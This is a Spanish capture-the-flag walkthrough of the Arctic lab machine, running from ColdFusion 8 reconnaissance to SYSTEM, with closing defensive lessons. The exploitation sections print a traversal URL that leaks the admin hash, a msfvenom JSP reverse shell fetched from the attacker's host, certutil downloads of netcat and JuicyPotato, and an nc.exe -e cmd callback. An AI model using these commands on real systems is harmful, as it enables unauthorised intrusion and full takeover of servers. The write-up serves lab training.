Arctic
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Arctic es una máquina Windows fácil y antigua que corre Adobe ColdFusion 8 en el puerto 8500. Una vulnerabilidad de directory traversal (CVE-2010-2861) permite leerpassword.propertiesy sacar el hash SHA1 del administrador; una rainbow table lo revienta ahappyday. Ya dentro del panel, se programa una tarea programada que descarga un.jspmalicioso al directorio web con directory listing, y al cargarlo da una reverse shell comotolis. Ese usuario tieneSeImpersonatePrivilege, así que un ataque tipo Potato (JuicyPotato) eleva aNT AUTHORITY\SYSTEM.
Reconocimiento
Ping
Un ping confirma que la máquina responde y, por el TTL, orienta sobre el sistema operativo:
ping -c 1 10.10.10.11
PING 10.10.10.11 (10.10.10.11) 56(84) bytes of data.
64 bytes from 10.10.10.11: icmp_seq=1 ttl=127 time=109 ms
--- 10.10.10.11 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 108.698/108.698/108.698/0.000 msTTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
Un TCP completo a los 65535 puertos deja solo tres:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.11 -oG scan
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
135/tcp open msrpc syn-ack ttl 127
8500/tcp open fmtp syn-ack ttl 127
49154/tcp open unknown syn-ack ttl 127
Nmap done: 1 IP address (1 host up) scanned in 26.50 seconds
Raw packets sent: 131085 (5.768MB) | Rcvd: 21 (924B)extractPorts resume el fichero -oG y deja los tres puertos en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.10.11
Open ports: 135,8500,49154Los otros 65532 salen filtered (no-response), no closed: hay un cortafuegos descartando paquetes en silencio, y por eso el barrido tarda 26 segundos en vez de un par. El aviso del --defeat-rst-ratelimit va en la misma línea: con la máquina limitando los RST, algunos puertos cerrados pueden estar contándose como filtrados, así que la lista de "cerrados" no es de fiar (la de abiertos sí). Los tres syn-ack ttl 127 vuelven a apuntar a Windows.
El escaneo de versiones sobre esos tres puertos (lanzado desde una función del .zshrc que envuelve nmap -p<puertos> -sCV) devuelve un perfil escueto pero revelador: RPC en 135 y 49154 y, sobre todo, un servicio raro en el 8500, el puerto por defecto de ColdFusion.
nmap -p135,8500,49154 -sCV 10.10.10.11
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
8500/tcp open fmtp?
49154/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.69 secondsEse fmtp? con interrogación es lo interesante: nmap ha visto respuesta pero no ha sabido encajarla en ninguna firma, así que se limita a copiar el nombre que /etc/services asocia al 8500. Cuando pasa eso, el trabajo lo hace uno a mano. whatweb sí saca algo:
whatweb 10.10.10.11:8500
http://10.10.10.11:8500 [200 OK] Country[RESERVED][ZZ], maybe Dell-OpenManage-Switch-Administrator, HTTPServer[JRun Web Server], IP[10.10.10.11], Index-Of, Title[Index of /]Dos datos y un despiste. El despiste es el maybe Dell-OpenManage-Switch-Administrator, una firma que whatweb lanza con poca confianza y que aquí no lleva a ningún sitio. Los datos buenos son JRun Web Server, el servidor de aplicaciones Java que Adobe embebe en ColdFusion, y el Index-Of: hay directory listing. Wappalyzer, en cambio, no reconoce nada, que es lo normal cuando el servidor no es ni Apache ni nginx ni un CMS conocido:

La raíz sirve dos directorios, CFIDE/ y cfdocs/. El primero lleva a administrator/:

Y ahí aparece el panel de Adobe ColdFusion 8 Administrator, con la versión escrita en la propia pantalla de login:

Acceso al panel de ColdFusion
CVE-2010-2861: directory traversal a password.properties
ColdFusion 8 arrastra un directory traversal clásico (CVE-2010-2861) en el parámetro locale de varias páginas del administrador. Con un searchsploit localizamos el exploit, pero el núcleo del ataque es una sola URL que sube por el árbol de directorios hasta el fichero donde ColdFusion guarda la contraseña del panel:
searchsploit "Adobe coldfusion 8"
searchsploit -m multiple/remote/14641.py
Adobe ColdFusion - Directory Traversal | multiple/remote/14641.py
Adobe ColdFusion - Directory Traversal (Metasploit) | multiple/remote/16995.rb
Adobe ColdFusion 8 - Remote Command Execution (RCE) | cfm/webapps/50057.py
...
Shellcodes: No Results
# searchsploit Adobe coldfusion 8 -m multiple/remote/14641.py
[!] Could not find EDB-ID #El primer intento de copiar el exploit falla: -m no espera una ruta sino el EDB-ID del exploit, así que lo correcto es searchsploit -m 14641 (o copiar el fichero a mano desde /usr/share/exploitdb/exploits/multiple/remote/). Vale la pena leer el código antes de lanzarlo, porque lo interesante no es el script sino el comentario de la cabecera:

# working GET request courtesy of carnal0wnage:
# http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
#
# LLsecurity added another admin page filename: "/CFIDE/administrator/enter.cfm"
# CVE-2010-2861 - Adobe ColdFusion Unspecified Directory Traversal Vulnerability
# leo 13.08.2010
# in case some directories are blocked
filenames = ("/CFIDE/wizards/common/_logintowizard.cfm", "/CFIDE/administrator/archives/index.cfm", "/cfide/install.cfm", "/CFIDE/administrator/entman/i...Esa lista de filenames explica por qué el exploit prueba varias páginas: el traversal no vive en una URL concreta sino en el parámetro locale, que varias páginas del administrador procesan igual. Si una está bloqueada, sirve otra. Aquí basta con la primera, así que se lanza a mano desde el navegador:
http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00enLa respuesta pinta el password.properties encima del propio formulario de login. El %00 (null byte) trunca la ruta para que el servidor sirva el fichero tal cual en vez de añadirle la extensión que espera:

#Wed Mar 22 20:53:51 EET 2017
rdspassword=0IA/F[[E>[$_6&\\Q>[K\=XP \n
password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
encrypted=trueEl fichero suelta dos credenciales, no una: la del panel (password) y la de RDS (rdspassword), el servicio de desarrollo remoto de ColdFusion. La que nos interesa es la primera, y llega en mayúsculas porque así la escribe Java; da igual, el hexadecimal de un hash no distingue mayúsculas.
De hash SHA1 a happyday
El hash es un SHA1 sin sal (40 caracteres hexadecimales). Sin sal, un hash débil cae al instante contra una rainbow table; lo pasamos por un servicio de búsqueda y resuelve a la primera:

1 hashes were checked: 1 found 0 not found
Found:
2f635f6d20e3fde0c53075a84b68fb07dcec9b03:happydayNada se ha "roto" aquí en el sentido de fuerza bruta: el hash ya estaba en la base de datos del servicio, que es exactamente el riesgo de un SHA1 sin sal sobre una contraseña de diccionario.

Con admin / happyday entramos al panel.
Shell como tolis
Tarea programada que sube un .jsp
Dentro del panel, Server Settings > Mappings da el dato que faltaba: la ruta absoluta detrás de /CFIDE es C:\ColdFusion8\wwwroot\CFIDE, justo el directorio en el que tenemos directory listing. Puesto uno al lado del otro, el listado del navegador y la tabla de mappings dicen lo mismo:

Logical Path Directory Path
/CFIDE C:\ColdFusion8\wwwroot\CFIDE
/gateway C:\ColdFusion8\gateway\cfcSi conseguimos dejar ahí un fichero interpretable por el servidor, tendremos ejecución. Y ahí entra un detalle de arquitectura que conviene decir bien: ColdFusion 8 corre sobre un servidor de aplicaciones Java (el JRun que delató whatweb), así que un .jsp colocado bajo wwwroot no lo interpreta ColdFusion, lo interpreta el motor de servlets que hay debajo. Para el atacante da igual quién lo ejecute; para entender por qué funciona, no.
Buscamos primero si Metasploit trae un payload para esa extensión y luego generamos el fichero:
msfvenom -l payloads | grep jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.4 LPORT=1234 -o reverse.jsp
python3 -m http.server 80
java/jsp_shell_bind_tcp Listen for a connection and spawn a command shell
java/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell
# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.4 LPORT=1234 -o reverse.jsp
Payload size: 1496 bytes
Saved as: reverse.jsp
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...Hay dos candidatos y la diferencia entre ellos es la dirección de la conexión: el bind se queda escuchando en la víctima (y ahí tenemos un cortafuegos filtrando 65532 puertos, así que no) y el reverse sale hacia nosotros. Se genera el reverse.jsp (1496 bytes) y se sirve desde el HTTP local.
Falta cómo llevarlo a la víctima, y lo pone el propio panel. En el menú lateral, bajo Debugging & Logging, está la sección Scheduled Tasks, todavía vacía:

Debugging & Logging > Scheduled Tasks
Scheduled tasks can create static web pages from dynamic data sources.
Scheduled Tasks
Actions Task Name Duration
No tasks have been scheduled.Permite programar una petición a una URL y, con la casilla Publish → Save output to a file, guardar la respuesta en una ruta local. Es el primitivo perfecto, un upload con otro nombre: la tarea (aquí llamada Pwned) apunta a http://10.10.16.4/reverse.jsp y escribe la respuesta en ...\ColdFusion8\wwwroot\CFIDE\reverse.jsp.

Al ejecutarla, las dos puntas confirman el paso: el panel responde This scheduled task was completed successfully y nuestro servidor HTTP registra la petición desde la IP de la víctima:

10.10.10.11 - - [17/Jun/2025 17:11:10] "GET /reverse.jsp HTTP/1.1" 200 -Con la shell en JSP ya colocada, abrimos el listener y cargamos el fichero desde el navegador para disparar la conexión:
nc -nlvp 1234
# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.11] 49277
Microsoft Windows [Version 6.1.7600]
C:\ColdFusion8\runtime\bin>El directory listing de /CFIDE/ confirma que reverse.jsp quedó subido, y de paso deja ver algo curioso: pesa 1498 bytes, dos más que el original de 1496. La tarea no copia el fichero, guarda la respuesta HTTP, y en el camino se le añade un salto de línea. Da igual para un .jsp, pero conviene saberlo antes de usar este truco con un binario. Al cargarlo, el nc recibe la shell en el contexto de ColdFusion (C:\ColdFusion8\runtime\bin).
La reverse shell entra como tolis, y leemos la primera flag:

C:\Users\tolis\Desktop> type user.txt
990082cb4baa2466635b5923e66df1ddShell como SYSTEM
SeImpersonatePrivilege
Lo primero tras una shell en Windows es mirar los privilegios del token. tolis tiene SeImpersonatePrivilege habilitado, la llave de toda la familia de ataques "Potato":
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set DisabledLa lista es la típica de una cuenta de servicio: cuatro privilegios, tres habilitados y ninguno que a primera vista parezca administrativo. SeChangeNotifyPrivilege lo tiene todo el mundo y SeIncreaseWorkingSetPrivilege ni siquiera está activo. El que importa es el segundo, y viene acompañado de SeCreateGlobalPrivilege, que es justo el que permite crear los objetos con nombre en el espacio global que necesita el ataque.
JuicyPotato a NT AUTHORITY\SYSTEM
SeImpersonatePrivilege permite que un proceso suplante el token de un cliente que se autentique contra él. JuicyPotato lo explota engañando a un servicio COM/DCOM que corre como SYSTEM para que se autentique contra un endpoint controlado por el atacante; al hacerlo, se captura su token y se lanza un proceso con él. Como esta máquina es Windows Server 2008 R2, JuicyPotato (repo) es viable (en versiones modernas se usa PrintSpoofer (repo) o RoguePotato (repo)).
Preparamos las dos piezas en local. La primera se descarga de la página de releases del repositorio, que publica el binario ya compilado:

mv /home/krmena/Downloads/JuicyPotato.exe .La segunda es un netcat para Windows, que no viene con el sistema. El sitio de referencia es eternallybored.org, que distribuye la 1.12 compilada para 32 y 64 bits, con un aviso que conviene leer: los antivirus marcan nc.exe como malicioso.

mv /home/krmena/Downloads/netcat-win32-1.12.zip .
lsJuicyPotato.exe netcat-win32-1.12.zipDel netcat nos quedamos con el nc64.exe (la víctima es x64) renombrado a nc.exe:
unzip netcat.zip -d netcat
mv netcat/nc64.exe nc.exe
ls
Archive: netcat.zip
inflating: netcat/nc.exe
inflating: netcat/nc64.exe
...
JuicyPotato.exe nc.exe netcat netcat.zipY JuicyPotato.exe pasa a jp.exe, que es menos ruidoso de teclear y de ver en un listado:
mv JuicyPotato.exe jp.exe
python3 -m http.server 80
10.10.10.11 - - [17/Jun/2025 19:16:36] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.11 - - [17/Jun/2025 19:17:29] "GET /jp.exe HTTP/1.1" 200 -Del lado de la víctima, la descarga va con certutil.exe. No es una herramienta de transferencia: es la utilidad de certificados de Windows, y su caché de URLs (-urlcache -split) se usa desde hace años como un descargador que ya viene instalado y firmado por Microsoft:
certutil.exe -f -urlcache -split http://10.10.16.4/nc.exe
certutil.exe -f -urlcache -split http://10.10.16.4/jp.exe
C:\ColdFusion8\runtime\bin>certutil.exe -f -urlcache -split http://10.10.16.4/nc.exe
**** Online ****
0000 ...
b0d8
CertUtil: -URLCache command completed successfully.Con las dos piezas dentro, se lanza el exploit pidiéndole que ejecute el netcat de vuelta como SYSTEM:
.\JP.exe -t * -l 4321 -p C:\Windows\System32\cmd.exe -a "/c C:\ColdFusion8\runtime\bin\nc.exe -e cmd 10.10.16.4 4646"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 4321
....
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OKEsas tres líneas son el ataque entero. Testing {4991d34b-...} es el CLSID del objeto COM que se pide activar (el de BITS, el clásico para esta técnica); authresult 0 significa que la activación salió bien y que el token que llegó es el de NT AUTHORITY\SYSTEM; y CreateProcessWithTokenW OK es el momento en que ese token se usa para arrancar un proceso nuevo. El -t * le dice a la herramienta que pruebe los dos métodos de creación de proceso y se quede con el que funcione.
En el listener cae la shell privilegiada. El primer type falla, porque la flag no está en el perfil del Administrador sino en su escritorio:
# nc -nlvp 4646
listening on [any] 4646 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.11] 49643
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>type C:\Users\Administrator\root.txt
The system cannot find the file specified.
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
8c9e1702849d64100f4b03b346d36ce8Cadena de ataque
ColdFusion 8 (:8500, directory listing)
│ CVE-2010-2861 (directory traversal) → password.properties → SHA1
▼
rainbow table → happyday → panel admin
│ Scheduled Task → descarga reverse.jsp a /CFIDE → cargar el .jsp
▼
reverse shell como tolis → user.txt
│ whoami /priv → SeImpersonatePrivilege
▼
JuicyPotato (abuso COM/DCOM) → NT AUTHORITY\SYSTEM → root.txtLecciones aprendidas
- El software sin parchear es el vector más barato. ColdFusion 8 con CVE-2010-2861 permitía leer ficheros del sistema sin autenticación. Mantener el software actualizado habría cortado la cadena de raíz.
- Un hash sin sal no protege nada frente a una contraseña débil. El SHA1 de
happydaycayó en una rainbow table en segundos. Salar y usar funciones lentas (bcrypt/argon2) es lo mínimo; una contraseña fuerte, lo siguiente. - Las funciones de "tareas programadas" son ejecución de código encubierta. Poder programar una descarga a una ruta web con directory listing es, de facto, upload + RCE. Restringir dónde escriben esas tareas y qué extensiones sirve el servidor.
SeImpersonatePrivilegees game over en Windows antiguos. Las cuentas de servicio suelen tenerlo, y un ataque Potato lo convierte enSYSTEM. Endurecer las cuentas de servicio y mantener el sistema en versiones donde estas técnicas estén mitigadas.- Un
servicio?con interrogación ennmapno es un puerto sin interés. Elfmtp?del 8500 solo significa que la firma no encaja; el nombre lo puso/etc/services. Quien identificó el servicio fuewhatwebcon suJRun Web Server, y eso ya es ColdFusion. filteredyclosedno son lo mismo. 65532 puertosfiltered (no-response)describen un cortafuegos que descarta en silencio, no puertos cerrados; con el aviso del--defeat-rst-ratelimitencima, la lista de cerrados deja de ser fiable y solo la de abiertos vale.- Lee el exploit antes de lanzarlo. Lo útil de
14641.pyno es el script sino su cabecera: la URL exacta del traversal y una lista de páginas alternativas del panel que procesan el mismo parámetrolocale, por si alguna está bloqueada. - Un fichero de configuración rara vez guarda una sola credencial. Junto al
passworddel panel viaja elrdspasswordde RDS. Cuando un traversal saca un fichero, se lee entero. - Las descargas se hacen con lo que ya está instalado.
certutil.exees la utilidad de certificados de Windows y su caché de URLs sirve de descargador firmado por Microsoft. Vigilar el binario, no solo las herramientas que "no deberían estar ahí".